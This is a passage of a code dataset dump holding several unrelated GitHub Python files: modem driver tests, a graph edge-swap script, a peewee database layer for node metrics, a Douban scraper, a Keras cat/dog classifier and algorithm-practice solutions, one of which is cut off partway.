Quectel()\n    modem.socket_identifier = 1\n    data = b\"a\" * 300\n    mock_command.return_value = (ModemResult.OK, None)\n    modem.write_socket(data)\n    mock_command.assert_has_calls(\n        [\n            call(\"+QISENDEX\", '1,\"%s\"' % (\"61\" * 255), timeout=10),\n            call(\"+QISENDEX\", '1,\"%s\"' % (\"61\" * 45), timeout=10),\n        ],\n        any_order=True,\n    )\n\n@patch.object(Quectel, \"set\")\ndef test_read_socket(mock_command, no_serial_port):\n    modem = Quectel()\n    modem.socket_identifier = 1\n    mock_command.return_value = (ModemResult.OK, '+QIRD: \"Some val\"')\n    # Double quotes should be stripped from the reutrn value\n    assert (modem.read_socket(payload_length=10) == 'Some val')\n    mock_command.assert_called_with(\"+QIRD\", '1,10')\n\ndef test_handle_open_urc(no_serial_port):\n    modem = Quectel()\n    modem.handleURC('+QIOPEN: 1,0')\n    assert modem.urc_state == Modem.SOCKET_WRITE_STATE\n    assert modem.socket_identifier == 1\n\ndef test_handle_received_data_urc(no_serial_port):\n    modem = Quectel()\n    modem.handleURC('+QIURC: \\\"recv\\\",1,25')\n    assert modem.urc_state == Modem.SOCKET_SEND_READ\n    assert modem.socket_identifier == 1\n    assert modem.last_read_payload_length == 25\n    assert modem.urc_response == \"\"\n\ndef test_handle_socket_closed_urc(no_serial_port):\n    modem = Quectel()\n    modem.handleURC('+QIURC: \\\"closed\\\",1')\n    assert modem.urc_state == Modem.SOCKET_CLOSED\n    assert modem.socket_identifier == 1\n\n","repo_name":"hologram-io/hologram-python","sub_path":"tests/Modem/test_Quectel.py","file_name":"test_Quectel.py","file_ext":"py","file_size_in_byte":4386,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"21"}
+{"seq_id":"23093647619","text":"import pandas as pd\nimport random\n\n\ndef EdgeSwap():\n    df = pd.read_csv(\"../../Gephi/Gephi_Edge_List.csv\")\n    #df = pd.read_csv(\"./test_data.csv\")\n\n    print('Startind Edge swap')\n\n    all_ids = list(range(0, len(df)))\n\n    new_data = []\n\n    MAX_ATTEMPTS = 10\n\n    while len(all_ids) > 1:\n        if(MAX_ATTEMPTS <= 0):\n            break\n\n        rand_i1 = random.randint(0,len(all_ids)-1)\n        v1 = all_ids[rand_i1]\n        all_ids.pop(rand_i1)\n\n        rand_i2 = random.randint(0,len(all_ids)-1)\n        v2 = all_ids[rand_i2]\n        all_ids.pop(rand_i2)\n\n        if(df.iloc[v1]['Source'] == df.iloc[v2]['Target']):\n            MAX_ATTEMPTS -= 1\n            continue\n\n        e1 = [df.iloc[v1]['Source'], df.iloc[v2]['Target'], df.iloc[v1]['Weight']]\n        e2 = [df.iloc[v2]['Source'], df.iloc[v1]['Target'], df.iloc[v2]['Weight']]\n\n        new_data.append(e1)\n        new_data.append(e2)\n    \n\n    print(all_ids)\n    #Add any left over edges that cannot be shuffled\n    for id in all_ids:\n        print(\"LEFT OVER ID =\" + str(id))\n        v = all_ids[id]\n        new_data.append([df.iloc[v]['Source'], df.iloc[v]['Target'], df.iloc[v]['Weight']])\n    \n    return new_data","repo_name":"Nunuvin/cryptic_philanthropist","sub_path":"Analysis/Null Model/EdgeSwap.py","file_name":"EdgeSwap.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9893263654","text":"import pytest as _pytest\n\nfrom downforeveryone import useragents\n\n\n@_pytest.mark.parametrize(\"execution_number\", range(20))\ndef test_string_returned(execution_number):\n    result = useragents.random_agent()\n    assert isinstance(result, str)\n\n\ndef test_random_called_once(mocker):\n    random_choice = mocker.patch(\"random.choice\", autospec=True)\n    useragents.random_agent()\n\n    random_choice.assert_called_once_with(useragents.USER_AGENTS)\n","repo_name":"rpdelaney/downforeveryone","sub_path":"tests/test_useragents/test_useragents.py","file_name":"test_useragents.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"22215927607","text":"from github_search.data_utils import DB, RedisList\nimport fakeredis\n\n\ndef simple_test(d):\n    d['a'] = 1\n    assert d['a'] == 1\n    d['a'] = True\n    assert d['a']\n    d['a'] = {'a' : True}\n    assert d['a']['a']\n    d['a'] = [1, 2, 3]\n    assert d['a'] == [1, 2, 3]\n\nr = fakeredis.FakeStrictRedis()\n#d = DB(write_to='redis', redis_handle=r)\n#simple_test(d)\nsimple_test(DB(write_to='file'))\n","repo_name":"joeystevens00/Github-Explore-Plus","sub_path":"tests/test_redis_utils.py","file_name":"test_redis_utils.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33835624704","text":"# n이 소수인지 판정\ndef isprime(n):\n    if n <= 1: return False\n    i = 2\n    while i*i <= n:\n        if n%i == 0: return False\n        i += 1\n    return True\n\n# n을 k진법으로 나타낸 문자열 반환\ndef conv(n, k):\n    s = ''\n    while n:\n        s += str(n%k)\n        n //= k\n    return s[::-1]\n\ndef solution(n, k):\n    s = conv(n,k)\n    cnt = 0\n    for num in s.split('0'):\n        if not num: continue # 빈 문자열에 대한 예외처리 split 토큰이 연속으로나오면 해당 부분은 공백으로 들어가는구나\n        if isprime(int(num)): cnt += 1\n    return cnt\n\n\n\n# import math\n\n# def conv(n,k):\n#     ret = []\n#     tmp = 0\n#     while n!=0:\n#         tmp = n%k\n#         ret.append(tmp)\n#         n = n//k\n#     ret = list(map(str,ret))\n#     return \"\".join(reversed(ret))\n\n# def isPrime(n):\n#     if n<2:\n#         return False\n#     elif n==2:\n#         return True\n#     for i in range(3, math.ceil(math.sqrt(n))+1):\n#         if n%i==0:\n#             return False\n#     return True\n\n# def solution(n, k):\n#     answer = 0\n#     ret = conv(n,k)\n#     tmp = \"\"\n#     arr = []\n#     for i in ret:\n#         if i!='0':\n#             tmp+=i\n#         else:\n#             if tmp!=\"\":\n#                 arr.append(int(tmp))\n#             tmp = \"\"\n#     if tmp:\n#         arr.append(int(tmp))\n\n#     for a in arr:\n#         if isPrime(a):\n#             answer+=1\n\n#     return answer\n\nsolution(437674,3)\nsolution(1100011,10)\n# print(\"\")\n\n# 소수인지는 어떻게 판별할것?\n# 최대범위가 20자리비트인데 20자리의 1이 소수인지 시간안에 판별할 수 있나?\n# 그렇다고 저 수를 에라토스로 만들수도없고\n# 0111...111일때 이게 소수인지 어떻게 판단할거야 19개자리나되는데?\n# 제곱근까지만 계산하면 위아래로 식이 반전된 형태라 소수인지 판별가능\n\n","repo_name":"mrsuit0114/algorithmprac","sub_path":"programmers/202304/다시볼것/k진수에서소수개수구하기.py","file_name":"k진수에서소수개수구하기.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21039243595","text":"from peewee import BooleanField, CharField, CompositeKey, DateTimeField, IntegerField, Model, \\\n    MySQLDatabase, fn\n\nfrom tools.configs.db import DB_HOST, DB_NAME, DB_PASSWORD, DB_PORT, DB_USER\n\nprint(f'DB HOST = {DB_HOST}')\n\n\ndbhandle = MySQLDatabase(\n    DB_NAME, user=DB_USER,\n    password=DB_PASSWORD,\n    host=DB_HOST,\n    port=DB_PORT\n)\n\n\nclass BaseModel(Model):\n    class Meta:\n        database = dbhandle\n\n\nclass Report(BaseModel):\n    my_id = IntegerField()\n    target_id = IntegerField()\n    is_offline = BooleanField()\n    latency = IntegerField()\n    stamp = DateTimeField()\n\n\nclass BountyEvent(BaseModel):\n    my_id = IntegerField()\n    tx_dt = DateTimeField()\n    tx_hash = CharField()\n    block_number = IntegerField()\n    bounty = CharField()\n    downtime = IntegerField()\n    latency = IntegerField()\n    gas_used = IntegerField()\n\n    class Meta:\n        db_table = 'bounty_event'\n\n\nclass ReportEvent(BaseModel):\n    my_id = IntegerField()\n    target_id = IntegerField()\n    tx_dt = DateTimeField()\n    tx_hash = CharField()\n    downtime = IntegerField()\n    latency = IntegerField()\n    gas_used = IntegerField()\n\n    class Meta:\n        db_table = 'report_event'\n\n\nclass BountyStats(BaseModel):\n    tx_hash = CharField()\n    eth_balance_before = CharField()\n    eth_balance = CharField()\n    skl_balance_before = CharField()\n    skl_balance = CharField()\n\n    class Meta:\n        db_table = 'bounty_stats'\n        primary_key = CompositeKey('tx_hash')\n\n\n@dbhandle.connection_context()\ndef save_metrics_to_db(my_id, target_id, is_offline, latency):\n    \"\"\" Save metrics (downtime and latency) to database\"\"\"\n    report = Report(my_id=my_id,\n                    target_id=target_id,\n                    is_offline=is_offline,\n                    latency=latency)\n    report.save()\n\n\n@dbhandle.connection_context()\ndef save_bounty_event(tx_dt, tx_hash, block_number, my_id, bounty, downtime, latency, gas_used):\n    \"\"\" Save bounty events data to database\"\"\"\n    data = BountyEvent(my_id=my_id,\n                       tx_dt=tx_dt,\n                       bounty=bounty,\n                       downtime=downtime,\n                       latency=latency,\n                       gas_used=gas_used,\n                       tx_hash=tx_hash,\n                       block_number=block_number)\n\n    data.save()\n\n\n@dbhandle.connection_context()\ndef save_report_event(tx_dt, tx_hash, my_id, target_id, downtime, latency, gas_used):\n    \"\"\" Save bounty events data to database\"\"\"\n    data = ReportEvent(my_id=my_id,\n                       target_id=target_id,\n                       tx_dt=tx_dt,\n                       downtime=downtime,\n                       latency=latency,\n                       gas_used=gas_used,\n                       tx_hash=tx_hash)\n\n    data.save()\n\n\n@dbhandle.connection_context()\ndef save_bounty_stats(\n        tx_hash,\n        eth_bal_before,\n        skl_bal_before,\n        eth_bal,\n        skl_bal):\n    \"\"\" Save bounty receipt data to database\"\"\"\n    data = BountyStats(tx_hash=tx_hash,\n                       eth_balance_before=eth_bal_before,\n                       skl_balance_before=skl_bal_before,\n                       eth_balance=eth_bal,\n                       skl_balance=skl_bal\n                       )\n    data.save(force_insert=True)\n\n\n@dbhandle.connection_context()\ndef get_month_metrics_for_node(my_id, target_id, start_date, end_date) -> dict:\n    \"\"\" Returns a dict with aggregated month metrics - downtime and latency\"\"\"\n\n    downtime_results = Report.select(\n        fn.SUM(\n            Report.is_offline).alias('sum')).where(\n        (Report.my_id == my_id) & (\n                Report.target_id == target_id) & (\n            Report.stamp >= start_date) & (\n            Report.stamp <= end_date))\n\n    latency_results = Report.select(\n        fn.AVG(\n            Report.latency).alias('avg')).where(\n        (Report.my_id == my_id) & (\n                Report.target_id == target_id) & (\n            Report.stamp >= start_date) & (\n            Report.stamp <= end_date) & (\n            Report.latency >= 0))\n    if downtime_results[0].sum is None:\n        print(f'Sum result from db is None')\n    downtime = int(\n        downtime_results[0].sum) if downtime_results[0].sum is not None else 0\n    latency = latency_results[0].avg if latency_results[0].avg is not None else 0\n    return {'downtime': downtime, 'latency': latency}\n\n\n@dbhandle.connection_context()\ndef clear_all_reports():\n    nrows = Report.delete().execute()\n    print(f'{nrows} records deleted')\n\n\n@dbhandle.connection_context()\ndef clear_all_bounty_receipts():\n    nrows = BountyStats.delete().execute()\n    print(f'{nrows} records deleted')\n\n\n@dbhandle.connection_context()\ndef get_count_of_bounty_receipt_records():\n    return BountyStats.select().count()\n\n\n@dbhandle.connection_context()\ndef get_count_of_report_records():\n    return Report.select().count()\n\n\n@dbhandle.connection_context()\ndef get_bounty_max_block_number():\n    return BountyEvent.select(fn.MAX(BountyEvent.block_number)).scalar()\n","repo_name":"skalenetwork/skale-nms","sub_path":"tools/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":5027,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"21"}
+{"seq_id":"70131428854","text":"import requests\nimport bs4\nimport re\nfrom bs4 import BeautifulSoup\n\n\n\n\ndef getHtmlInfo(url):#获取网页文档\n    try:\n       # dic={\"start\":\"0\",\"type\":\"T\"}\n        r=requests.get(url,timeout=30)\n        r.raise_for_status() #根据状态码判断是否访问成功\n       \n        return r.text\n    except:\n        return \"出错了！\"\n\n\n\n    \ndef selectReadInfo(html,urllist):#图书主页html  获取图书分类信息将图书的类别存到urllist列表中\n    soup=BeautifulSoup(html,\"html.parser\")#解析\n    lis=[]\n    ss=\"\"\n    for tag in soup(\"ul\",class_=\"clearfix\"):\n        if tag.find(\"li\").string !=None:\n            print(str(tag.find(\"li\").string).strip(),\":\\n\")#列表标签分类标题\n        for tag_ in tag(\"a\",class_=\"tag\"):#遍历出每个分类里的子分类\n            if(str(tag_.string)!=\"更多»\"):\n                lis.append(str(tag_.string))\n                urllist.append(str(tag_.string))\n        for s in lis:\n            ss+=s+\"\\t\"\n        print(ss,\"\\n\\n\")\n        ss=\"\"\n        lis=[]\n\n\n\n        \ndef searchBook(html,lis,liss):#某个种类的图书排行主页html 图书名称及其链接存入lis字典 图书名称存入liss列表方便用户浏览\n    print(\"\\n\\n\\n\")\n    soup=BeautifulSoup(html,\"html.parser\")\n    for tag in soup(\"div\",class_=\"info\"):\n        lis[tag.find(\"a\").attrs[\"title\"]]=tag.find(\"a\").attrs[\"href\"]#图书名和图书链接对应放入字典\n        liss.append(tag.find(\"a\").attrs[\"title\"])#图书名称放入列表\n        print(tag.find(\"a\").attrs[\"title\"]+\"\\n\"+tag.find(\"div\",class_=\"pub\").string+\"\\n\"+tag.find(\"span\",class_=\"pl\").string+\"\\n\"+tag.find(\"p\").string)\n        print(\"\\n\\n\\n\\n\\n\\n\\n\")\n    #print(lis)\n\n\n\n        \n    \ndef bookInfo(html):#某个图书信息的html  爬取出图书的相关信息以及部分精彩短评和长的书评\n    #print(html[:200])\n    i=5\n    soup=BeautifulSoup(html,\"html.parser\")\n    s=soup.find(\"div\",id=\"info\")\n    for tag_ in s(\"span\",class_=\"pl\"):#爬取图书作者 出品方等信息\n        if str(tag_.string)==\"作者:\" or str(tag_.string)==\"丛书:\" or str(tag_.string)==\"出品方:\":\n            print(tag_.string,tag_.next_sibling.next_sibling.string)\n        else:\n            print(tag_.string,tag_.next_sibling)\n    print(\"豆瓣评分:\",soup.find(\"strong\").string)\n    \n    for tag in soup(\"span\",class_=\"rating_per\"):#爬取图书评分\n        print(i,\"星:\",tag.string)\n        i-=1\n        ss=soup.find(\"div\",class_=\"intro\")\n    print(\"\\n\\n\\n\")\n    print(\"内容简介:\")\n    for ta in ss(\"p\"):#爬取图书简介\n        print(ta.string)\n    print(\"\\n\\n\\n\")\n    print(\"章节目录：\")\n    so=soup.find(\"div\",style=\"display:none\")\n    for t in so(\"br\"):#爬取图书部分目录信息\n        print(t.previous_sibling)\n    j=1\n    print(\"\\n\\n\\n\")\n    print(\"部分短评:\\n\\n\")\n    for pl in soup(\"p\",class_=\"comment-content\"):#爬取部分精彩短评\n        print(j,\":\",pl.string,\"\\n\")\n        j+=1\n    j=1\n    print(\"\\n\\n\\n\")\n    print(\"部分书评:\\n\\n\")\n    for p in soup(\"div\",class_=\"short-content\"):#爬取部分精彩书评\n        print(j,\":\",(((str(p).split(\">\"))[1]).split(\"...\"))[0],\"\\n\")\n        j+=1\n        #print(p)\n        \ndef movie(html):#爬取电影排行\n    i=1\n    soup=BeautifulSoup(html,\"html.parser\")\n    for tag in soup(\"div\",class_=\"pl2\"):#循环遍历出具有电影信息的标签  提取电影信息\n        print(i,\":\",str(tag.find(\"a\")).split(\">\")[1].split(\"/\")[0].lstrip().rstrip(),\"\\t地址:\",tag.find(\"a\").attrs[\"href\"],\"\\n\")\n        i+=1\n\n        \ndef music(html):#爬取音乐排行\n    i=1\n    soup=BeautifulSoup(html,\"html.parser\")\n    for tag in soup(\"li\",class_=\"clearfix\"):#循环遍历出具有歌曲信息的标签  提取歌曲信息\n        if i<=10:\n            t=tag.find(\"div\")\n            print(i,\":\",t.find(\"a\").string)\n            #print(t.find(\"p\"))\n            print(str(t.find(\"p\")).split(\"/\")[1].split(\"<\")[0].lstrip(),\"\\n\")\n            i+=1\n            \n\ndef main():\n    selectP={\"读书\":\"book\",\"音乐\":\"music\",\"电影\":\"movie\",\"退出\":\"break\"}\n    while 1:\n        string=str(input(\"请输��想查看的类别（读书、音乐、电影、退出）:\"))\n        print(\"\\n\")\n        if string in selectP.keys():\n            url=\"http://\"+selectP.get(string)+\".douban.com\"#根据输入内容更改url信息\n            if string==\"读书\":\n                urllist=[]\n                selectReadInfo(getHtmlInfo(url),urllist)#获取图书分类信息\n                #print(\"\\n\")\n                #print(urllist)\n                string=str(input(\"请输入想读的图书种类:\"))\n                string2=int(input(\"请输入想读的页数:\"))\n                if string in urllist and string2<=10:#爬取相应图书种类的多少页图书排行\n                    lis={}\n                    liss=[]\n                    for i in range(string2):\n                        url=\"http://book.douban.com/tag/\"+string+\"?start=\"+str(i*20)+\"&type=T\" #每一页的url\n                        searchBook(getHtmlInfo(url),lis,liss)#获取图书名称和对应的连接\n                    print(\"书单表:\\n\\n\")\n                    print(liss)\n                    print(\"\\n\\n\\n\\n\\n\\n\")\n                    string=str(input(\"请输入想查看的图书名称:\"))\n                    if string in lis.keys():\n                        bookInfo(getHtmlInfo(lis[string]))#获取图书具体信息和评论等\n            if string ==\"电影\":\n                url=\"http://movie.douban.com/chart\"\n                movie(getHtmlInfo(url))#爬取部分电影排行\n            if string ==\"音乐\":\n                url=\"http://music.douban.com/chart\"\n                music(getHtmlInfo(url))#爬取部分音乐排行\n            if string ==\"退出\":\n                break\nif __name__==\"__main__\":\n    main()\n","repo_name":"zmyymz/Python","sub_path":"DouB.py","file_name":"DouB.py","file_ext":"py","file_size_in_byte":5787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40251126667","text":"def subP(target, nums):\n    total = left = right = 0\n    mini = math.inf\n    while right < len(nums):\n        total += nums[right]\n        while total >= target:\n            total -= nums[left]\n            left += 1\n            mini = min(mini, right-left+2)\n        right+=1\n    return mini if mini != math.inf else 0\n","repo_name":"Naboni/Competitive-Programming","sub_path":"Week 5/MinSubArrayLen.py","file_name":"MinSubArrayLen.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72115884532","text":"import pandas as pd\r\nimport numpy as np\r\nfrom keras.preprocessing.image import *\r\nfrom keras.utils import to_categorical\r\nfrom sklearn.model_selection import train_test_split\r\nimport matplotlib.pyplot as plt\r\nimport random\r\nimport os\r\nimport sys\r\n\r\nimport io\r\n\r\nsys.stdout = io.TextIOWrapper(sys.stdout.detach(), encoding = 'utf-8')\r\nsys.stderr = io.TextIOWrapper(sys.stderr.detach(), encoding = 'utf-8')\r\n\r\n\r\n\r\npath = \"C:/Users/css04/OneDrive/바탕 화면/catdog/\" # 데이터의 경로\r\n\r\n# 데이터 형상 관련 상수 정의\r\nIMAGE_WIDTH=128\r\nIMAGE_HEIGHT=128\r\nIMAGE_SIZE=(IMAGE_WIDTH, IMAGE_HEIGHT)\r\nIMAGE_CHANNEL=3\r\n\r\n# 학습 데이터 준비\r\nfilenames = os.listdir(path + \"train\")\r\n# os.listdir() 메소드는 지정한 디렉토리 내의 모든 파일과 디렉토리의 리스트를 반환한다.\r\ncategories=[]\r\nfor filename in filenames:\r\n    category=filename.split(\".\")[0] # category는 ‘.’을 기준으로 첫 번째로 정한다.\r\n    if category ==\"dog\": # ‘.’ 이전의 file 이름이 ‘dog’로 되어 있다면\r\n        categories.append(1) # 리스트에 1을 넣는다.\r\n    else: # category가 cat으로 되어 있다면\r\n        categories.append(0) # 리스트에 0을 넣는다.\r\ndf = pd.DataFrame(\r\n    {\"filename\":filenames, # filename은 filenames에서 가져옴\r\n    \"category\":categories} # category와 filenames을 짝지은다.\r\n)\r\ndf\r\n\r\nsample = random.choice(filenames) # filenames에서 무작위로 한 개를 선정\r\nimage = load_img(path+\"train/\"+sample) # 선정된 이미지의 경로를 가져온다.\r\nplt.imshow(image) # 가져온 이미지를 보여준다.\r\nfrom keras.models import Sequential\r\n# Sequential 모델은 레이러를 선형으로 연결하여 구성\r\n# 레이어 인스턴스를 생성자에게 넘겨줌으로써 Sequential 모델을 구성할 수 있습니다.\r\nfrom keras.layers import *\r\n# import keras.layers와 문법상 동일\r\n# keras.layers의 모든 모듈을 가져온다.\r\n# from 모듈 import 메소드/변수\r\n\r\n# 레이어 1\r\nmodel = Sequential()\r\nmodel.add(Conv2D(32, (3,3), activation=\"relu\", input_shape=(IMAGE_HEIGHT, IMAGE_WIDTH , IMAGE_CHANNEL)))\r\n# add 메소드를 통해 Sequential 모델을 점진적으로 작성\r\n# relu : 입력이 0 이하면 0으로 침묵, 0을 넘으면 입력 그대로를 출력하는 함수\r\nmodel.add(BatchNormalization())\r\n# 배치정규화\r\nmodel.add(MaxPooling2D(pool_size=(2,2)))\r\n# 풀링 이유 :\r\n# 1. 이미지의 크기를 줄이면서 데이터의 손실을 막기 위해서\r\n# 2. 합성곱 계층의 과적합을 막기 위해서 ( 견해에 따라 딥러닝 모델 자체가 과적합 하려고 하는 건데 방지한다는 것이 이상하다는 견해도 있음. )\r\nmodel.add(Dropout(0.25))\r\n# 노드를 학습에서 무시 ( 과적합 방지 )\r\n\r\n# 레이어 2\r\nmodel.add(Conv2D(64, (3,3), activation=\"relu\"))\r\nmodel.add(BatchNormalization())\r\nmodel.add(MaxPooling2D(pool_size=(2,2)))\r\nmodel.add(Dropout(0.25))\r\n\r\n# 레이어3\r\nmodel.add(Conv2D(128, (3,3), activation=\"relu\"))\r\nmodel.add(BatchNormalization())\r\nmodel.add(MaxPooling2D(pool_size=(2,2)))\r\nmodel.add(Dropout(0.25))\r\n\r\n# Fully Connected\r\nmodel.add(Flatten())\r\nmodel.add(Dense(512, activation='relu'))\r\nmodel.add(BatchNormalization())\r\nmodel.add(Dropout(0.5))\r\n\r\nmodel.add(Dense(2,activation=\"softmax\"))\r\n\r\n# 모델 실행 옵션\r\nmodel.compile(loss=\"categorical_crossentropy\", optimizer=\"rmsprop\", metrics=['accuracy'])\r\nmodel.summary()\r\n\r\n# reduceLROnPlateau\r\n# : callback 함수의 일종, learning rate가 더이상 업데이트가 되지 않으면, 학습을 중단하여라\r\nfrom keras.callbacks import EarlyStopping, ReduceLROnPlateau\r\n\r\nearlystop = EarlyStopping(patience=10)\r\nlearning_rate_reduction=ReduceLROnPlateau(\r\n                        monitor= \"val_accuracy\",\r\n                        patience = 2,\r\n                        factor = 0.5,\r\n                        min_lr=0.0001,\r\n                        verbose=1)\r\n\r\ncallbacks = [earlystop, learning_rate_reduction]\r\n\r\n# 이미지 제너레이터에서 class_mode = \"categorical\"로 지정하기 위해 컬럼 카테고리를 스트링으로 변경함.\r\ndf['category']=df['category'].replace({0:'cat',1:\"dog\"})\r\n\r\ntrain_df, validate_df = train_test_split(df , test_size=0.2, random_state= 42)\r\n\r\ntrain_df=train_df.reset_index(drop=True)\r\nvalidate_df=validate_df.reset_index(drop=True)\r\n\r\n\r\ntrain_df['category'].value_counts()\r\n# >>>\r\n# dog    10015\r\n# cat     9985\r\n# Name: category, dtype: int64\r\n\r\nvalidate_df['category'].value_counts()\r\n# >>>\r\n# cat    2515\r\n# dog    2485\r\n# Name: category, dtype: int64\r\n\r\ntotal_train=train_df.shape[0]\r\ntotal_validate=validate_df.shape[0]\r\nbatch_size=15\r\n\r\n# 트레이닝 데이터의 제너레이터 설정\r\ntrain_datagen=ImageDataGenerator(\r\n        rotation_range=15,\r\n        rescale=1./255,\r\n        shear_range=0.1,\r\n        zoom_range=0.2,\r\n        horizontal_flip=True,\r\n        width_shift_range=0.1,\r\n        height_shift_range=0.1)\r\n\r\ntrain_generator=train_datagen.flow_from_dataframe(\r\n    train_df,\r\n    path+\"train\",\r\n    x_col = \"filename\",\r\n    y_col = \"category\",\r\n    target_size = IMAGE_SIZE,\r\n    class_mode = \"categorical\",\r\n    batch_size = batch_size )\r\n\r\nvalidate_datagen=ImageDataGenerator(rescale=1./255)\r\n# 검증이미지니까, 사진 그대로 쓰겠다.\r\n\r\nvalidation_generator=validate_datagen.flow_from_dataframe(\r\n    validate_df,\r\n    path+\"train\",\r\n    x_col= \"filename\",\r\n    y_col= \"category\",\r\n    target_size = IMAGE_SIZE,\r\n    class_mode = \"categorical\",\r\n    batch_size = batch_size )\r\n\r\nexample_df=train_df.sample(n=1).reset_index(drop=True)\r\nexample_df\r\n\r\nexample_generator = train_datagen.flow_from_dataframe(\r\n                    example_df,\r\n                    path+\"train\",\r\n                    x_col = \"filename\",\r\n                    y_col = \"category\",\r\n                    target_size = IMAGE_SIZE,\r\n                    class_mode = \"categorical\")\r\n\r\nplt.figure(figsize=(10,10))\r\nfor i in range(0,15):\r\n    plt.subplot(5,3,i+1)\r\n    for xBatch, yBatch in example_generator:\r\n        image = xBatch[0]\r\n        plt.imshow(image)\r\n        break\r\nplt.tight_layout()\r\nplt.show()\r\n\r\nepochs = 3\r\n\r\nhistory = model.fit_generator(\r\n    train_generator,\r\n    epochs = epochs,\r\n    steps_per_epoch = total_train//batch_size ,\r\n    validation_data=  validation_generator,\r\n    validation_steps = total_validate//batch_size,\r\n    callbacks = callbacks,\r\n)\r\n\r\n# 모델 저장\r\nmodel.save_weights(\"model.h5\")\r\n\r\nhistoryDict=history.history\r\n\r\nacc=history.history['accuracy']\r\nval_acc=history.history['val_accuracy']\r\nloss=history.history['loss']\r\nval_loss=history.history['val_loss']\r\n\r\nepo = range(1, len(acc)+1)\r\nplt.plot(epo, loss, 'bo', label=\"Traing loss\")\r\nplt.plot(epo, val_loss, 'b', label=\"Val loss\")\r\nplt.xlabel(\"epoch\")\r\nplt.ylabel(\"Loss\")\r\nplt.legend()\r\nplt.show()\r\n\r\nplt.plot(epo, acc, 'ro', label=\"Traing accuracy\")\r\nplt.plot(epo, val_acc, 'r', label=\"Val accuracy\")\r\nplt.xlabel(\"epoch\")\r\nplt.ylabel(\"Accuracy\")\r\nplt.legend()\r\nplt.show()\r\n\r\nplt.plot(epo, acc, 'ro', label=\"Traing accuracy\")\r\nplt.plot(epo, val_acc, 'r', label=\"Val accuracy\")\r\nplt.xlabel(\"epoch\")\r\nplt.ylabel(\"Accuracy\")\r\nplt.legend()\r\nplt.show()\r\n\r\ntest_datagen=ImageDataGenerator(rescale=1./255)\r\n# 테스트 이미지니까, 사진 그대로 씀\r\ntest_generator=test_datagen.flow_from_dataframe(\r\n    test_df,\r\n    path+\"test\",\r\n    x_col= \"filename\",\r\n    y_col= None,\r\n    target_size = IMAGE_SIZE,\r\n    class_mode = None,\r\n    batch_size = batch_size,\r\n    shuffle = False)\r\n\r\n# 3. 예측\r\npredict=model.predict_generator(test_generator,\r\n                                steps=nbsamples/batch_size,\r\n                                callbacks=callbacks)\r\n\r\ntest_df['category']=np.argmax(predict, axis=1)\r\n\r\ntest_df['category']=test_df['category'].replace({0:'cat',1:\"dog\"})\r\nex_df=test_df.sample(n=1).reset_index(drop=True)\r\nex_df\r\n\r\nex_generator = test_datagen.flow_from_dataframe(\r\n                    ex_df,\r\n                    path+\"test\",\r\n                    x_col = \"filename\",\r\n                    y_col = None,\r\n                    target_size = IMAGE_SIZE,\r\n                    class_mode = None)\r\ntest_sample=list(ex_df.filename)\r\n\r\nsample = \"\"\r\nfor test in test_sample:\r\n    sample += test\r\nimage = load_img(path+\"test/\"+sample)\r\nplt.figure(figsize=(8,8))\r\nplt.imshow(image)\r\n\r\nplt.tight_layout()\r\nplt.show()\r\n\r\nsampleSubmission=pd.read_csv(path+\"sampleSubmission.csv\", dtype=\"object\")\r\nsampleSubmission\r\n\r\nindex=[]\r\nfor filename in test_df.filename:\r\n    li=filename.split(\".\")[0]\r\n    index.append(li)\r\n\r\ntest_df[\"id\"]=index\r\n\r\nfinal=test_df.merge(sampleSubmission)[['id','category']]\r\nfinal['id']=final['id'].astype(\"int64\")\r\nfinal=final.sort_values(\"id\")\r\n\r\nfinal.rename({'category':\"label\"},axis='columns').to_csv(\"Submission.csv\", index=False)\r\n","repo_name":"css04146/image_classification","sub_path":"catdog.py","file_name":"catdog.py","file_ext":"py","file_size_in_byte":8798,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20907928555","text":"# 다리들 중 최솟값을 골라 더하는 부분이 막혀서 정답 참고했음\n# bfs로 라벨링, 다리놓기 했고, MST 크루스칼로 다리 길이 최솟값 구함\n\"\"\"\n모든 섬을 연결하는 다리 길이의 최솟값 구하기\n\n조건\n1. 모든 섬을 연결하는 것이 불가능하면 -1 출력\n2. 다리 길이는 2 이상\n3. 다리는 중간에 방향 전환 불가\n\nIDEA\n1. 우선 땅이 먼저 나오는 곳에서 bfs 탐색 시작\n    'dictionary[(x, y)] = 섬의 번호' 로 저장함\n2. 섬 dictionary를 bfs로 돌면서 다리를 놓음\n3. 크루스칼 MST로 최소 다리 길이를 구함\n\"\"\"\n\nimport sys, collections\nfrom collections import deque\nsys.stdin = open(\"BFS/input.txt\",'r')\ninput = sys.stdin.readline\n\n# 세로 크기 N과 가로 크기 M\nn, m = map(int, input().strip().split())\n\n# 섬 dictionary\nislandNum = 0 # 섬의 개수 stack - dictionary key 용 / 2 ≤ 섬의 개수 ≤ 6\nisland = collections.defaultdict(list)\nlandArr = []\n\n# 지도\nMAP = [list(map(int, input().strip().split())) for _ in range(n)]\n\n# 좌표 이동용\nmove = [(0,1),(1,0),(0,-1),(-1,0)]\n\n# (a, b)에서부터 bfs로 땅 찾기\ndef bfs_find_island(a, b):\n    global islandNum\n    # 방문 처리\n    visited[a][b] = True\n    # 큐 생성\n    q = deque([(a, b)]) # 시작 값 큐에 append\n    # 딕셔너리 update\n    island[(a, b)] = islandNum\n    landArr.append((a, b, islandNum))\n    # bfs 시작\n    while q:\n        x, y = q.popleft() # 다음 좌표 꺼내기\n        for a, b in move: # 동서남북 돌면서 